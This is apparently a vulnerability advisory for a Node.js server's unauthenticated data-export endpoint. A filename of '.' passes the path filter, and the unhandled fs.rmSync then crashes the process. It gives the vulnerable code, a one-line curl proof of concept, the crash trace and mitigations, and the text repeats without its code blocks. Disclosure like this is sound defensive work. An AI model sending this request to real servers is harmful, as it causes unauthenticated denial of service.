Summary
An unauthenticated API route (file export) can allow attacker to crash the server resulting in a denial of service attack.
General Description
The “data-export” endpoint is used to export files using the filename parameter as user input.
The endpoint takes the user input, filters it to avoid directory traversal attacks, fetches the file from the server, and afterwards deletes it.
An attacker can trick the input filter mechanism to point to the current directory, and while attempting to delete it the server will crash as there is no error-handling wrapper around it.
Moreover, the endpoint is public and does not require any form of authentication, resulting in an unauthenticated Denial of Service issue, which crashes the instance using a single HTTP packet.
Vulnerable Code Walkthrough
The API endpoint “/api/system/data-exports:filename
” code can be found in the "server/endpoints/system.js
" file:
app.get("/system/data-exports/:filename", (request, response) => {
const exportLocation = __dirname + "/../storage/exports/";
const sanitized = normalizePath(request.params.filename); // returns .
const finalDestination = path.join(exportLocation, sanitized);
if (!fs.existsSync(finalDestination)) {
response.status(404).json({
error: 404,
msg: `File ${request.params.filename} does not exist in exports.`,
});
return;
}
response.download(finalDestination, request.params.filename, (err) => {
if (err) {
response.send({
error: err,
msg: "Problem downloading the file",
});
}
// delete on download because endpoint is not authenticated.
fs.rmSync(finalDestination);
});
});
The steps for processing the user input are as follows:
- Takes the filename parameter’s value and sanitizes it using the “
normalizePath
” function
- Join the sanitized path to a predefined path pointing to the exports folder.
- Check if the file exists or not (if not - throw an error).
- Download the file using the supplied path.
- Deleting the file.
The issue starts with bullet No. 1, as the “normalizePath
" function can be tricked to point to the current directory:
const path = require("path");
function normalizePath(filepath = "") {
return path.normalize(filepath).replace(/^(\.\.(\/|\\|$))+/, "");
}
console.log(normalizePath("."));
// Output: . (current directory)
Then, the check, if the file exists, will result as True as fs.existsSync
considering a directory as a valid file:
const fs = require("fs");
console.log(fs.existsSync("."));
// Output: true
In bullet No. 5 the fs.rmSync(finalDestination);
is not wrapped with error handling, and does not have a folder deletion option, therefore will result in an error - which while unhandled results in crashing the process.
PoC
As the API endpoint is unauthenticated there is only a need for a single HTTP request to crash the server:
curl -i -s -k -X $'GET' \
-H $'Host: localhost:3001' \
-H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' \
-H $'Accept: */*' \
-H $'Accept-Language: en-US,en;q=0.5' \
-H $'Accept-Encoding: gzip, deflate' \
-H $'Connection: close' \
$'http://localhost:3001/api/system/data-exports/.'
This will result in the following error at the NodeJS console:
node:internal/fs/utils:835
throw new ERR_FS_EISDIR({
^
SystemError [ERR_FS_EISDIR]: Path is a directory: rm returned EISDIR (is a directory) /app/server/storage/exports
at Object.rmSync (node:fs:1268:13)
at /app/server/endpoints/system.js:427:10
at /app/server/node_modules/express/lib/response.js:450:22
at SendStream.ondirectory (/app/server/node_modules/express/lib/response.js:1064:5)
at SendStream.emit (node:events:517:28)
at SendStream.redirect (/app/server/node_modules/send/index.js:475:10)
at onstat (/app/server/node_modules/send/index.js:723:41)
at FSReqCallback.oncomplete (node:fs:203:5) {
code: 'ERR_FS_EISDIR',
info: {
code: 'EISDIR',
message: 'is a directory',
path: '/app/server/storage/exports',
syscall: 'rm',
errno: 21
},
errno: [Getter/Setter],
syscall: [Getter/Setter],
path: [Getter/Setter]
}
Afterwards, the process will terminate itself as the error is not handled.
Impact
Due to this issue, an unauthenticated denial of service attack can be performed. Organizations or users that need high system availability can suffer significant financial loss and reputation damage from this attack.
Suggested Mitigation
In order to completely mitigate this issue we recommend implementing two fixes:
- After sanitizing the input, check to filter special cases that point to a directory such as, dot/double dot as a filename, empty filename, etc.
- Wrap the file deletion action in an error handling clause (try.. catch).
Summary
An unauthenticated API route (file export) can allow attacker to crash the server resulting in a denial of service attack.
General Description
The “data-export” endpoint is used to export files using the filename parameter as user input.
The endpoint takes the user input, filters it to avoid directory traversal attacks, fetches the file from the server, and afterwards deletes it.
An attacker can trick the input filter mechanism to point to the current directory, and while attempting to delete it the server will crash as there is no error-handling wrapper around it.
Moreover, the endpoint is public and does not require any form of authentication, resulting in an unauthenticated Denial of Service issue, which crashes the instance using a single HTTP packet.
Vulnerable Code Walkthrough
The API endpoint “
/api/system/data-exports:filename
” code can be found in the "server/endpoints/system.js
" file:The steps for processing the user input are as follows:
normalizePath
” functionThe issue starts with bullet No. 1, as the “
normalizePath
" function can be tricked to point to the current directory:Then, the check, if the file exists, will result as True as
fs.existsSync
considering a directory as a valid file:In bullet No. 5 the
fs.rmSync(finalDestination);
is not wrapped with error handling, and does not have a folder deletion option, therefore will result in an error - which while unhandled results in crashing the process.PoC
As the API endpoint is unauthenticated there is only a need for a single HTTP request to crash the server:
This will result in the following error at the NodeJS console:
Afterwards, the process will terminate itself as the error is not handled.
Impact
Due to this issue, an unauthenticated denial of service attack can be performed. Organizations or users that need high system availability can suffer significant financial loss and reputation damage from this attack.
Suggested Mitigation
In order to completely mitigate this issue we recommend implementing two fixes: